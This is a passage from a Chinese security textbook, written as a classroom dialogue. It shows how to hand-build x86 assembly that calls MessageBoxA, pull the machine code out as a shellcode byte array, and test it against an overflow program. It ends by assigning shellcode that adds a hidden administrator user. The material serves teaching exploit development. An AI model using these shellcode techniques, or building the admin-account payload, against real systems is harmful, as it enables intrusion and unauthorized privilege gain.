2.4.2 生成汇编和ShellCode
“对比前面的分析。执行 system(“command.exe”) 时,先把参数command.exe字符串的地址入栈,再call system的地址就行了。”
“那么,执行 MessageBox(0, "ww0830","ww", 1) 就是把四个参数从右至左压入堆栈,即先压1,再压‘ww’字符串的地址,然后是‘ww0830’字符串的地址,最后压0;接着CALL MessageBox函数的地址就OK了。”
“1和0多好压啊!只要PUSH 0、PUSH 1就完成了。”玉波嚷道,“可惜还有两个参数呢!如果参数都是数字就好了。”
宇强想想后,问道,“那‘ww’和‘ww0830’这两个参数串莫非像构造command.exe字符串那样,先在栈里面构造出来,然后把它们的地址作为参数入栈?”
“太对了!”老师表扬道,“第三个参数‘ww’是对话框标题,我们在‘ebp-0Bh’和‘ebp-0A’的地方都放‘w’,而‘ebp-09’放字符串结束标志0x00。那么,‘ebp-0Bh’就是字符串的地址了。示意图如图2-17。”
“我们把‘ebp-0Bh’放在ESI中保存起来,等会儿作为参数入栈,代码如下:”
//标题"ww"->esi
mov byte ptr[ebp-0Bh],77h//w
mov byte ptr[ebp-0Ah],77h//w
mov byte ptr[ebp-09h],0h//0x00
lea esi,[ebp-0Bh]
“然后第二个参数(对话框的内容)‘ww0830’也是类似。我们把它放在‘ebp-07h’开始的地方,并保存在ESI中,代码如下:”
//内容"ww0830"->edi
mov byte ptr[ebp-07h],77h//w
mov byte ptr[ebp-06h],77h//w
mov byte ptr[ebp-05h],30h//0
mov byte ptr[ebp-04h],38h//8
mov byte ptr[ebp-03h],33h//3
mov byte ptr[ebp-02h],30h//0
mov byte ptr[ebp-01h],0h//0x00
lea edi,[ebp-07h]
“参数都构造好了。最后我们合起来执行 MessageBox(0, "ww0830","ww", 1) 吧!”
“第四个参数是1,我们就直接PUSH 1;倒数第二个参数是标题字符串的地址,我们存在ESI中的,所以PUSH ESI;同样,内容字符串的地址是在EDI中,我们PUSH EDI;第一个参数是0,我们PUSH 0。”
“参数都入栈后,我们CALL messagebox函数的地址。在我的机器上,函数的地址是0x77d3add7,我们直接 CALL 0x77d3add7 就完成执行函数了。这段汇编代码如下:”
push 1 //1
push esi //标题
push edi //内容
push 0 //0
mov eax,77d3add7h //messageboxa()
call eax
“合起来,在VC中用__asm{}嵌入,编译并执行,还是弹出对话框。成功!如图2-18。”
“哦!又成功了!”大家满脸喜悦。
“接下来大家提取ShellCode吧!也顺便再复习一下。”
“好的,在VC中按F10调试,然后调出汇编和对应的机器码,如图2-19。我们把对应的机器码抄下来就可以了。”古风边说边抄。
古风抄完后说道:“这样得到弹出Windows对话框的ShellCode如下。”
Char ShellCode[] =
“\x55\x8B\xEC\x81\xEC\x80\x00\x00\x00\xC6\x45\xF5\x77\xC6\x45“
“\xF6\x77\xC6\x45\xF7\x00\x8D\x75\xF5\xC6\x45\xF9\x77\xC6\x45“
“\xFA\x77\xC6\x45\xFB\x30\xC6\x45\xFC\x38\xC6\x45\xFD\x33\xC6“
“\x45\xFE\x30\xC6\x45\xFF\x00\x8D\x7D\xF9\x6A\x01\x56\x57\x6A“
“\x00\xB8”
“\xD7\xAD\xD3\x77” //MessageBox函数的地址
“\xFF\xD0”
“再拿溢出程序测试就可以了。”古风抹抹了汗说。
“嗯,不错!希望大家都能理解好原理,掌握好方法。今天早点放学,我给大家再布置一个作业,回去独立完成一个ShellCode,功能是在系统上添加一个用户,并把它加成管理员身份,下节课我会让一位同学上台来给大家讲解他的完成过程。大家都要认真准备啊!不然上台说不出话来,被大家笑话就不好意思了吧!班上还有女生呢!OK,今天到此为止,放学!”